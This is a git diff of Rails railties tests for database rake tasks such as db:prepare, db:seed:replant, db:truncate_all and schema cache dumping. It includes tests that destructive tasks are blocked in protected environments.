+      test "db:schema:cache:dump first config wins" do
+        Dir.chdir(app_path) do
+          File.open("#{app_path}/config/database.yml", "w") do |f|
+            f.puts <<-YAML
+            default: &default
+              adapter: sqlite3
+              max_connections: 5
+              timeout: 5000
+              variables:
+                statement_timeout: 1000
+            development:
+              some_entry:
+                <<: *default
+                database: storage/development.sqlite3
+              another_entry:
+                <<: *default
+                database: db/another_entry_development.sqlite3
+                migrations_paths: db/another_entry_migrate
+            YAML
+          end
+        end
+
+        db_schema_dump
+        db_schema_cache_dump
+      end
+
+      test "db:schema:cache:dump ignores expired version" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:schema:cache:dump"
+          rails "generate", "model", "cat", "color:string"
+          rails "db:migrate"
+
+          expired_warning = capture(:stderr) do
+            cache_size = rails("runner", "p ActiveRecord::Base.schema_cache.size", stderr: true).strip
+            assert_equal "0", cache_size
+          end
+          assert_match(/Ignoring .*\.yml because it has expired/, expired_warning)
+        end
+      end
+
+      def db_fixtures_load(expected_database)
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          reload
+          rails "db:migrate", "db:fixtures:load"
+
+          assert_match expected_database, ActiveRecord::Base.connection_db_config.database
+          assert_equal 2, Book.count
+        end
+      end
+
+      test "db:fixtures:load without database_url" do
+        require "#{app_path}/config/environment"
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: "primary")
+        db_fixtures_load db_config.database
+      end
+
+      test "db:fixtures:load with database_url" do
+        require "#{app_path}/config/environment"
+        set_database_url
+        db_fixtures_load database_url_db_name
+      end
+
+      test "db:fixtures:load with namespaced fixture" do
+        require "#{app_path}/config/environment"
+
+        rails "generate", "model", "admin::book", "title:string"
+        reload
+        rails "db:migrate", "db:fixtures:load"
+
+        assert_equal 2, Admin::Book.count
+      end
+
+      test "db:schema:load does not purge the existing database" do
+        rails "runner", "ActiveRecord::Base.lease_connection.create_table(:posts) {|t| t.string :title }"
+
+        app_file "db/schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20140423102712) do
+            create_table(:comments) {}
+          end
+        RUBY
+
+        list_tables = lambda { rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip }
+
+        assert_equal '["posts"]', list_tables[]
+        rails "db:schema:load"
+        assert_equal '["ar_internal_metadata", "comments", "posts", "schema_migrations"]', list_tables[]
+
+        add_to_config "config.active_record.schema_format = :sql"
+        app_file "db/structure.sql", <<-SQL
+          CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
+        SQL
+
+        rails "db:schema:load"
+        assert_equal '["ar_internal_metadata", "comments", "posts", "schema_migrations", "users"]', list_tables[]
+      end
+
+      test "db:schema:load with inflections" do
+        app_file "config/initializers/inflection.rb", <<-RUBY
+          ActiveSupport::Inflector.inflections do |inflect|
+            inflect.irregular 'goose', 'geese'
+          end
+        RUBY
+        app_file "config/initializers/primary_key_table_name.rb", <<-RUBY
+          ActiveRecord::Base.primary_key_prefix_type = :table_name
+        RUBY
+        app_file "db/schema.rb", <<-RUBY
+          ActiveRecord::Schema.define(version: 20140423102712) do
+            create_table("goose".pluralize) do |t|
+              t.string :name
+            end
+          end
+        RUBY
+
+        rails "db:schema:load"
+
+        tables = rails("runner", "p ActiveRecord::Base.lease_connection.tables").strip
+        assert_match(/"geese"/, tables)
+
+        columns = rails("runner", "p ActiveRecord::Base.lease_connection.columns('geese').map(&:name)").strip
+        assert_equal '["gooseid", "name"]', columns
+      end
+
+      test "db:schema:load fails if schema.rb doesn't exist yet" do
+        stderr_output = capture(:stderr) { rails("db:schema:load", stderr: true, allow_failure: true) }
+        assert_match(/Run `bin\/rails db:migrate` to create it/, stderr_output)
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/dbs_setup_test.rb b/railties/test/application/rake/dbs_setup_test.rb
new file mode 100644
index 0000000000000..06c63c0e69c83
--- /dev/null
+++ b/railties/test/application/rake/dbs_setup_test.rb
@@ -0,0 +1,301 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+require "env_helpers"
+
+module ApplicationTests
+  module RakeTests
+    class RakeDbsSetupTest < ActiveSupport::TestCase
+      include ActiveSupport::Testing::Isolation, EnvHelpers
+
+      def setup
+        build_app
+        reset_environment_configs
+      end
+
+      def teardown
+        teardown_app
+      end
+
+      test "db:truncate_all truncates all non-internal tables" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+          require "#{app_path}/config/environment"
+          Book.create!(title: "Remote")
+          assert_equal 1, Book.count
+          schema_migrations = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+          internal_metadata = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+
+          rails "db:truncate_all"
+
+          assert_equal(
+            schema_migrations,
+            ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+          )
+          assert_equal(
+            internal_metadata,
+            ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+          )
+          assert_equal 0, Book.count
+        end
+      end
+
+      test "db:truncate_all does not truncate any tables when environment is protected" do
+        with_rails_env "production" do
+          Dir.chdir(app_path) do
+            rails "generate", "model", "book", "title:string"
+            rails "db:migrate"
+            require "#{app_path}/config/environment"
+            Book.create!(title: "Remote")
+            assert_equal 1, Book.count
+            schema_migrations = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+            internal_metadata = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+            books = ActiveRecord::Base.lease_connection.execute("SELECT * from \"books\"")
+
+            output = rails("db:truncate_all", allow_failure: true)
+            assert_match(/ActiveRecord::ProtectedEnvironmentError/, output)
+
+            assert_equal(
+              schema_migrations,
+              ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+            )
+            assert_equal(
+              internal_metadata,
+              ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+            )
+            assert_equal 1, Book.count
+            assert_equal(books, ActiveRecord::Base.lease_connection.execute("SELECT * from \"books\""))
+          end
+        end
+      end
+
+      test "db:setup loads schema and seeds database" do
+        @old_rails_env = ENV["RAILS_ENV"]
+        @old_rack_env = ENV["RACK_ENV"]
+        ENV.delete "RAILS_ENV"
+        ENV.delete "RACK_ENV"
+
+        app_file "db/schema.rb", <<-RUBY
+            ActiveRecord::Schema.define(version: "1") do
+              create_table :users do |t|
+                t.string :name
+              end
+            end
+        RUBY
+
+        app_file "db/seeds.rb", <<-RUBY
+          puts ActiveRecord::Base.connection_db_config.database
+        RUBY
+
+        database_path = rails("db:setup")
+        assert_equal "development.sqlite3", File.basename(database_path.strip)
+      ensure
+        ENV["RAILS_ENV"] = @old_rails_env
+        ENV["RACK_ENV"] = @old_rack_env
+      end
+
+      test "db:setup sets ar_internal_metadata" do
+        app_file "db/schema.rb", ""
+        rails "db:setup"
+
+        test_environment = lambda { rails("runner", "-e", "test", "puts ActiveRecord::Base.connection_pool.internal_metadata[:environment]").strip }
+        development_environment = lambda { rails("runner", "puts ActiveRecord::Base.connection_pool.internal_metadata[:environment]").strip }
+
+        assert_equal "test", test_environment.call
+        assert_equal "development", development_environment.call
+
+        app_file "db/structure.sql", ""
+        app_file "config/initializers/enable_sql_schema_format.rb", <<-RUBY
+          Rails.application.config.active_record.schema_format = :sql
+        RUBY
+
+        rails "db:setup"
+
+        assert_equal "test", test_environment.call
+        assert_equal "development", development_environment.call
+      end
+
+      test "db:test:prepare sets test ar_internal_metadata" do
+        app_file "db/schema.rb", ""
+        rails "db:test:prepare"
+
+        test_environment = lambda { rails("runner", "-e", "test", "puts ActiveRecord::Base.connection_pool.internal_metadata[:environment]").strip }
+
+        assert_equal "test", test_environment.call
+
+        app_file "db/structure.sql", ""
+        app_file "config/initializers/enable_sql_schema_format.rb", <<-RUBY
+          Rails.application.config.active_record.schema_format = :sql
+        RUBY
+
+        rails "db:test:prepare"
+
+        assert_equal "test", test_environment.call
+      end
+
+      test "db:seed:replant truncates all non-internal tables and loads the seeds" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+          require "#{app_path}/config/environment"
+          Book.create!(title: "Remote")
+          assert_equal 1, Book.count
+          schema_migrations = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+          internal_metadata = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+
+          app_file "db/seeds.rb", <<-RUBY
+            Book.create!(title: "Rework")
+            Book.create!(title: "Ruby Under a Microscope")
+          RUBY
+
+          rails "db:seed:replant"
+
+          assert_equal(
+            schema_migrations,
+            ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+          )
+          assert_equal(
+            internal_metadata,
+            ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+          )
+          assert_equal 2, Book.count
+          assert_not_predicate Book.where(title: "Remote"), :exists?
+          assert_predicate Book.where(title: "Rework"), :exists?
+          assert_predicate Book.where(title: "Ruby Under a Microscope"), :exists?
+        end
+      end
+
+      test "db:seed:replant does not truncate any tables and does not load the seeds when environment is protected" do
+        with_rails_env "production" do
+          Dir.chdir(app_path) do
+            rails "generate", "model", "book", "title:string"
+            rails "db:migrate"
+            require "#{app_path}/config/environment"
+            Book.create!(title: "Remote")
+            assert_equal 1, Book.count
+            schema_migrations = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+            internal_metadata = ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+            books = ActiveRecord::Base.lease_connection.execute("SELECT * from \"books\"")
+
+            app_file "db/seeds.rb", <<-RUBY
+              Book.create!(title: "Rework")
+            RUBY
+
+            output = rails("db:seed:replant", allow_failure: true)
+            assert_match(/ActiveRecord::ProtectedEnvironmentError/, output)
+
+            assert_equal(
+              schema_migrations,
+              ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.schema_migrations_table_name}\"")
+            )
+            assert_equal(
+              internal_metadata,
+              ActiveRecord::Base.lease_connection.execute("SELECT * from \"#{ActiveRecord::Base.internal_metadata_table_name}\"")
+            )
+            assert_equal 1, Book.count
+            assert_equal(books, ActiveRecord::Base.lease_connection.execute("SELECT * from \"books\""))
+            assert_not_predicate Book.where(title: "Rework"), :exists?
+          end
+        end
+      end
+
+      test "db:prepare loads schema, runs pending migrations, and updates schema" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          output = rails("db:prepare")
+          assert_match(/CreateBooks: migrated/, output)
+          assert_match(/create_table "books"/, File.read("db/schema.rb"))
+
+          output = rails("db:drop")
+          assert_match(/Dropped database/, output)
+
+          rails "generate", "model", "recipe", "title:string"
+          output = rails("db:prepare")
+          assert_no_match(/CreateBooks: migrated/, output) # loaded from schema
+          assert_match(/CreateRecipes: migrated/, output)
+
+          schema = File.read("db/schema.rb")
+          assert_match(/create_table "books"/, schema)
+          assert_match(/create_table "recipes"/, schema)
+
+          tables = rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip
+          assert_equal('["ar_internal_metadata", "books", "recipes", "schema_migrations"]', tables)
+
+          test_environment = lambda { rails("runner", "-e", "test", "puts ActiveRecord::Base.connection_pool.internal_metadata[:environment]").strip }
+          development_environment = lambda { rails("runner", "puts ActiveRecord::Base.connection_pool.internal_metadata[:environment]").strip }
+
+          assert_equal "development", development_environment.call
+          assert_equal "test", test_environment.call
+        end
+      end
+
+      test "db:prepare loads schema when database exists but is empty" do
+        rails "generate", "model", "book", "title:string"
+        rails("db:prepare", "db:drop", "db:create")
+
+        output = rails("db:prepare")
+        assert_no_match(/CreateBooks: migrated/, output)
+
+        tables = rails("runner", "p ActiveRecord::Base.lease_connection.tables.sort").strip
+        assert_equal('["ar_internal_metadata", "books", "schema_migrations"]', tables)
+      end
+
+      test "db:prepare does not dump schema when dumping is disabled" do
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:create", "db:migrate"
+
+          app_file "db/schema.rb", "# Not touched"
+          app_file "config/initializers/disable_dumping_schema.rb", <<-RUBY
+            Rails.application.config.active_record.dump_schema_after_migration = false
+          RUBY
+
+          rails "db:prepare"
+
+          assert_equal("# Not touched", File.read("db/schema.rb").strip)
+        end
+      end
+
+      test "lazily loaded schema cache isn't read when reading the schema migrations table" do
+        Dir.chdir(app_path) do
+          app_file "config/initializers/lazy_load_schema_cache.rb", <<-RUBY
+            Rails.application.config.active_record.lazily_load_schema_cache = true
+          RUBY
+
+          rails "generate", "model", "recipe", "title:string"
+          rails "db:migrate"
+          rails "db:schema:cache:dump"
+
+          file = File.read("db/schema_cache.yml")
+          assert_match(/schema_migrations: true/, file)
+          assert_match(/recipes: true/, file)
+
+          output = rails "db:drop"
+          assert_match(/Dropped database/, output)
+
+          repeat_output = rails "db:drop"
+          assert_match(/Dropped database/, repeat_output)
+        end
+      end
+
+      test "destructive tasks are protected" do
+        add_to_config "config.active_record.protected_environments = ['development', 'test']"
+
+        require "#{app_path}/config/environment"
+
+        Dir.chdir(app_path) do
+          rails "generate", "model", "book", "title:string"
+          rails "db:migrate"
+
+          destructive_tasks = ["db:drop:all", "db:drop", "db:purge:all", "db:truncate_all", "db:purge", "db:schema:load", "db:test:purge"]
+
+          destructive_tasks.each do |task|
+            error = assert_raises("#{task} did not raise ActiveRecord::ProtectedEnvironmentError") { rails task }
+            assert_match(/ActiveRecord::ProtectedEnvironmentError/, error.message)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb
index c63f23fa0acc2..3c1ea96cd78eb 100644
--- a/railties/test/application/rake/dbs_test.rb
+++ b/railties/test/application/rake/dbs_test.rb
@@ -1,13 +1,16 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
+require "env_helpers"
 
 module ApplicationTests
   module RakeTests
     class RakeDbsTest < ActiveSupport::TestCase
-      include ActiveSupport::Testing::Isolation
+      include ActiveSupport::Testing::Isolation, EnvHelpers
 
       def setup
         build_app
-        FileUtils.rm_rf("#{app_path}/config/environments")
+        reset_environment_configs
       end
 
       def teardown
@@ -24,288 +27,225 @@ def set_database_url
         FileUtils.rm_rf("#{app_path}/config/database.yml")
       end
 
-      def db_create_and_drop(expected_database)
+      def db_create_and_drop(expected_database, environment_loaded: true)
         Dir.chdir(app_path) do
-          output = `bin/rails db:create`
+          output = rails("db:create")
           assert_match(/Created database/, output)
           assert File.exist?(expected_database)
-          assert_equal expected_database, ActiveRecord::Base.connection_config[:database]
-          output = `bin/rails db:drop`
+          yield if block_given?
+          assert_equal expected_database, ActiveRecord::Base.connection_db_config.database if environment_loaded
+          output = rails("db:drop")
           assert_match(/Dropped database/, output)
-          assert !File.exist?(expected_database)
+          assert_not File.exist?(expected_database)
         end
       end
 
-      test "db:create and db:drop without database url" do
+      test "db:create and db:drop without database URL" do
         require "#{app_path}/config/environment"
-        db_create_and_drop ActiveRecord::Base.configurations[Rails.env]["database"]
+        db_config = ActiveRecord::Base.configurations.configs_for(env_name: Rails.env, name: "primary")
+        db_create_and_drop db_config.database
       end
 
-      test "db:create and db:drop with database url" do
+      test "db:create and db:drop with database URL" do
         require "#{app_path}/config/environment"
         set_database_url
         db_create_and_drop database_url_db_name
       end
 
-      def with_database_existing
-        Dir.chdir(app_path) do
-          set_database_url
-          `bin/rails db:create`
-          yield
-          `bin/rails db:drop`
-        end
-      end
-
-      test "db:create failure because database exists" do
-        with_database_existing do
-          output = `bin/rails db:create 2>&1`
-          assert_match(/already exists/, output)
-          assert_equal 0, $?.exitstatus
-        end
-      end
-
-      def with_bad_permissions
-        Dir.chdir(app_path) do
-          set_database_url
-          FileUtils.chmod("-w", "db")
-          yield
-          FileUtils.chmod("+w", "db")
-        end
-      end
-
-      test "db:create failure because bad permissions" do
-        with_bad_permissions do
-          output = `bin/rails db:create 2>&1`
-          assert_match(/Couldn't create database/, output)
-          assert_equal 1, $?.exitstatus
-        end
-      end
-
-      test "db:drop failure because database does not exist" do
-        Dir.chdir(app_path) do
-          output = `bin/rails db:drop:_unsafe --trace 2>&1`
-          assert_match(/does not exist/, output)
-          assert_equal 0, $?.exitstatus
-        end
-      end
-
-      test "db:drop failure because bad permissions" do
-        with_database_existing do
-          with_bad_permissions do
-            output = `bin/rails db:drop 2>&1`
-            assert_match(/Couldn't drop/, output)
-            assert_equal 1, $?.exitstatus
-          end
-        end
-      end
-
-      def db_migrate_and_status(expected_database)
-        Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate`
-          output = `bin/rails db:migrate:status`
-          assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output)
-          assert_match(/up\s+\d{14}\s+Create books/, output)
-        end
-      end
-
-      test "db:migrate and db:migrate:status without database_url" do
-        require "#{app_path}/config/environment"
-        db_migrate_and_status ActiveRecord::Base.configurations[Rails.env]["database"]
-      end
-
-      test "db:migrate and db:migrate:status with database_url" do
+      test "db:create and db:drop with database URL don't use YAML DBs" do
         require "#{app_path}/config/environment"
         set_database_url
-        db_migrate_and_status database_url_db_name
-      end
 
-      def db_schema_dump
-        Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate db:schema:dump`
-          schema_dump = File.read("db/schema.rb")
-          assert_match(/create_table \"books\"/, schema_dump)
-        end
-      end
-
-      test "db:schema:dump without database_url" do
-        db_schema_dump
-      end
-
-      test "db:schema:dump with database_url" do
-        set_database_url
-        db_schema_dump
-      end
-
-      def db_fixtures_load(expected_database)
-        Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate db:fixtures:load`
-          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
-          require "#{app_path}/app/models/book"
-          assert_equal 2, Book.count
-        end
-      end
-
-      test "db:fixtures:load without database_url" do
-        require "#{app_path}/config/environment"
-        db_fixtures_load ActiveRecord::Base.configurations[Rails.env]["database"]
-      end
-
-      test "db:fixtures:load with database_url" do
-        require "#{app_path}/config/environment"
-        set_database_url
-        db_fixtures_load database_url_db_name
-      end
+        File.write("#{app_path}/config/database.yml", <<~YAML)
+          test:
+            adapter: sqlite3
+            database: storage/test.sqlite3
 
-      test "db:fixtures:load with namespaced fixture" do
-        require "#{app_path}/config/environment"
-        Dir.chdir(app_path) do
-          `bin/rails generate model admin::book title:string;
-           bin/rails db:migrate db:fixtures:load`
-          require "#{app_path}/app/models/admin/book"
-          assert_equal 2, Admin::Book.count
-        end
-      end
+          development:
+            adapter: sqlite3
+            database: storage/development.sqlite3
+        YAML
 
-      def db_structure_dump_and_load(expected_database)
-        Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate db:structure:dump`
-          structure_dump = File.read("db/structure.sql")
-          assert_match(/CREATE TABLE (?:IF NOT EXISTS )?\"books\"/, structure_dump)
-          `bin/rails environment db:drop db:structure:load`
-          assert_match expected_database, ActiveRecord::Base.connection_config[:database]
-          require "#{app_path}/app/models/book"
-          #if structure is not loaded correctly, exception would be raised
-          assert_equal 0, Book.count
+        with_rails_env "development" do
+          db_create_and_drop database_url_db_name do
+            assert_not File.exist?("#{app_path}/storage/test.sqlite3")
+            assert_not File.exist?("#{app_path}/storage/development.sqlite3")
+          end
         end
       end
 
-      test "db:structure:dump and db:structure:load without database_url" do
-        require "#{app_path}/config/environment"
-        db_structure_dump_and_load ActiveRecord::Base.configurations[Rails.env]["database"]
-      end
-
-      test "db:structure:dump and db:structure:load with database_url" do
-        require "#{app_path}/config/environment"
-        set_database_url
-        db_structure_dump_and_load database_url_db_name
-      end
+      test "db:create and db:drop respect environment setting" do
+        app_file "config/database.yml", <<-YAML
+          <% 1 %>
+          development:
+            database: <%= Rails.application.config.database %>
+            adapter: sqlite3
+        YAML
 
-      test "db:structure:dump does not dump schema information when no migrations are used" do
-        Dir.chdir(app_path) do
-          # create table without migrations
-          `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+        app_file "config/environments/development.rb", <<-RUBY
+          Rails.application.configure do
+            config.database = "storage/development.sqlite3"
+          end
+        RUBY
 
-          stderr_output = capture(:stderr) { `bin/rails db:structure:dump` }
-          assert_empty stderr_output
-          structure_dump = File.read("db/structure.sql")
-          assert_match(/CREATE TABLE (?:IF NOT EXISTS )?\"posts\"/, structure_dump)
-        end
+        db_create_and_drop("storage/development.sqlite3", environment_loaded: false)
       end
 
-      test "db:schema:load and db:structure:load do not purge the existing database" do
-        Dir.chdir(app_path) do
-          `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'`
+      ERB_YAML_FIXTURES = {
+        "alias ERB" => {
+          yaml: <<~YAML,
+            sqlite: &sqlite
+              adapter: sqlite3
+              database: storage/development.sqlite3
 
-          app_file "db/schema.rb", <<-RUBY
-            ActiveRecord::Schema.define(version: 20140423102712) do
-              create_table(:comments) {}
+            development:
+              <<: *<%= ENV["DB"] || "sqlite" %>
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
             end
           RUBY
-
-          list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip }
-
-          assert_equal '["posts"]', list_tables[]
-          `bin/rails db:schema:load`
-          assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata"]', list_tables[]
-
-          app_file "db/structure.sql", <<-SQL
-            CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255));
-          SQL
-
-          `bin/rails db:structure:load`
-          assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata", "users"]', list_tables[]
-        end
-      end
-
-      test "db:schema:load with inflections" do
-        Dir.chdir(app_path) do
-          app_file "config/initializers/inflection.rb", <<-RUBY
-            ActiveSupport::Inflector.inflections do |inflect|
-              inflect.irregular 'goose', 'geese'
+        },
+        "multiline ERB" => {
+          yaml: <<~YAML,
+            development:
+              database: <%=
+                Rails.application.config.database
+              %>
+              adapter: sqlite3
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
             end
           RUBY
-          app_file "config/initializers/primary_key_table_name.rb", <<-RUBY
-            ActiveRecord::Base.primary_key_prefix_type = :table_name
+        },
+        "ERB accessing nested configurations" => {
+          yaml: <<~YAML,
+            development:
+              database: storage/development.sqlite3
+              adapter: sqlite3
+              other: <%= Rails.application.config.other.value %>
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.other = Struct.new(:value).new(123)
+            end
           RUBY
-          app_file "db/schema.rb", <<-RUBY
-            ActiveRecord::Schema.define(version: 20140423102712) do
-              create_table("goose".pluralize) do |t|
-                t.string :name
-              end
+        },
+        "conditional statements in ERB" => {
+          yaml: <<~YAML,
+            development:
+            <% if Rails.application.config.database %>
+              database: <%= Rails.application.config.database %>
+            <% else %>
+              database: db/default.sqlite3
+            <% end %>
+              adapter: sqlite3
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
             end
           RUBY
+        },
+        "multiple ERB statements on the same line" => {
+          yaml: <<~YAML,
+            development:
+              database: <% if Rails.application.config.database %><%= Rails.application.config.database %><% else %>db/default.sqlite3<% end %>
+              adapter: sqlite3
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
+            end
+          RUBY
+        },
+        "single-line ERB" => {
+          yaml: <<~YAML,
+            development:
+              <%= Rails.application.config.database ? 'database: storage/development.sqlite3' : 'database: storage/development.sqlite3' %>
+              adapter: sqlite3
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
+            end
+          RUBY
+        },
+        "key's value as an ERB statement" => {
+          yaml: <<~YAML,
+            development:
+              database: <%= Rails.application.config.database ? 'storage/development.sqlite3' : 'storage/development.sqlite3' %>
+              custom_option: <%= ENV['CUSTOM_OPTION'] %>
+              adapter: sqlite3
+          YAML
+          env: <<~RUBY
+            Rails.application.configure do
+              config.database = "storage/development.sqlite3"
+            end
+          RUBY
+        },
+      }.freeze
 
-          `bin/rails db:schema:load`
-
-          tables = `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip
-          assert_match(/"geese"/, tables)
-
-          columns = `bin/rails runner 'p ActiveRecord::Base.connection.columns("geese").map(&:name)'`.strip
-          assert_equal columns, '["gooseid", "name"]'
+      test "db:create and db:drop don't raise errors when loading YAML with various ERB formats" do
+        ERB_YAML_FIXTURES.each do |name, fixture|
+          app_file "config/database.yml", fixture[:yaml]
+          app_file "config/environments/development.rb", fixture[:env]
+          db_create_and_drop("storage/development.sqlite3", environment_loaded: false)
         end
       end
 
-      def db_test_load_structure
+      def with_database_existing
         Dir.chdir(app_path) do
-          `bin/rails generate model book title:string;
-           bin/rails db:migrate db:structure:dump db:test:load_structure`
-          ActiveRecord::Base.configurations = Rails.application.config.database_configuration
-          ActiveRecord::Base.establish_connection :test
-          require "#{app_path}/app/models/book"
-          #if structure is not loaded correctly, exception would be raised
-          assert_equal 0, Book.count
-          assert_match ActiveRecord::Base.configurations["test"]["database"],
-            ActiveRecord::Base.connection_config[:database]
+          set_database_url
+          rails "db:create"
+          yield
+          rails "db:drop"
         end
       end
 
-      test "db:test:load_structure without database_url" do
-        require "#{app_path}/config/environment"
-        db_test_load_structure
+      test "db:create failure because database exists" do
+        with_database_existing do
+          output = rails("db:create")
+          assert_match(/already exists/, output)
+        end
       end
 
-      test "db:setup loads schema and seeds database" do
-        begin
-          @old_rails_env = ENV["RAILS_ENV"]
-          @old_rack_env = ENV["RACK_ENV"]
-          ENV.delete "RAILS_ENV"
-          ENV.delete "RACK_ENV"
-
-          app_file "db/schema.rb", <<-RUBY
-            ActiveRecord::Schema.define(version: "1") do
-              create_table :users do |t|
-                t.string :name
-              end
-            end
-          RUBY
+      def with_bad_permissions
+        Dir.chdir(app_path) do
+          set_database_url
+          FileUtils.chmod("-w", "db")
+          yield
+          FileUtils.chmod("+w", "db")
+        end
+      end
 
-          app_file "db/seeds.rb", <<-RUBY
-            puts ActiveRecord::Base.connection_config[:database]
-          RUBY
+      unless Process.uid.zero?
+        test "db:create failure because bad permissions" do
+          with_bad_permissions do
+            output = rails("db:create", allow_failure: true)
+            assert_match("Couldn't create '#{database_url_db_name}' database. Please check your configuration.", output)
+            assert_equal 1, $?.exitstatus
+          end
+        end
 
-          Dir.chdir(app_path) do
-            database_path = `bin/rails db:setup`
-            assert_equal "development.sqlite3", File.basename(database_path.strip)
+        test "db:drop failure because bad permissions" do
+          with_database_existing do
+            with_bad_permissions do
+              output = rails("db:drop", allow_failure: true)
+              assert_match(/Couldn't drop/, output)
+              assert_equal 1, $?.exitstatus
+            end
           end
-        ensure
-          ENV["RAILS_ENV"] = @old_rails_env
-          ENV["RACK_ENV"] = @old_rack_env
         end
       end
+
+      test "db:drop failure because database does not exist" do
+        output = rails("db:drop:_unsafe", "--trace")
+        assert_match(/does not exist/, output)
+      end
     end
   end
 end
diff --git a/railties/test/application/rake/dev_test.rb b/railties/test/application/rake/dev_test.rb
deleted file mode 100644
index 4f992d9c8d8ac..0000000000000
--- a/railties/test/application/rake/dev_test.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
-  module RakeTests
-    class RakeDevTest < ActiveSupport::TestCase
-      include ActiveSupport::Testing::Isolation
-
-      def setup
-        build_app
-      end
-
-      def teardown
-        teardown_app
-      end
-
-      test "dev:cache creates file and outputs message" do
-        Dir.chdir(app_path) do
-          output = `rails dev:cache`
-          assert File.exist?("tmp/caching-dev.txt")
-          assert_match(/Development mode is now being cached/, output)
-        end
-      end
-
-      test "dev:cache deletes file and outputs message" do
-        Dir.chdir(app_path) do
-          `rails dev:cache` # Create caching file.
-          output = `rails dev:cache` # Delete caching file.
-          assert_not File.exist?("tmp/caching-dev.txt")
-          assert_match(/Development mode is no longer being cached/, output)
-        end
-      end
-
-      test "dev:cache removes server.pid also" do
-        Dir.chdir(app_path) do
-          FileUtils.mkdir_p("tmp/pids")
-          FileUtils.touch("tmp/pids/server.pid")
-          `rails dev:cache`
-          assert_not File.exist?("tmp/pids/server.pid")
-        end
-      end
-    end
-  end
-end
diff --git a/railties/test/application/rake/framework_test.rb b/railties/test/application/rake/framework_test.rb
index 40488a6aabbc6..211de64a6d0d1 100644
--- a/railties/test/application/rake/framework_test.rb
+++ b/railties/test/application/rake/framework_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -7,7 +9,7 @@ class FrameworkTest < ActiveSupport::TestCase
 
       def setup
         build_app
-        FileUtils.rm_rf("#{app_path}/config/environments")
+        reset_environment_configs
       end
 
       def teardown
diff --git a/railties/test/application/rake/log_test.rb b/railties/test/application/rake/log_test.rb
index fdd3c71fe8f67..678f26db26aae 100644
--- a/railties/test/application/rake/log_test.rb
+++ b/railties/test/application/rake/log_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
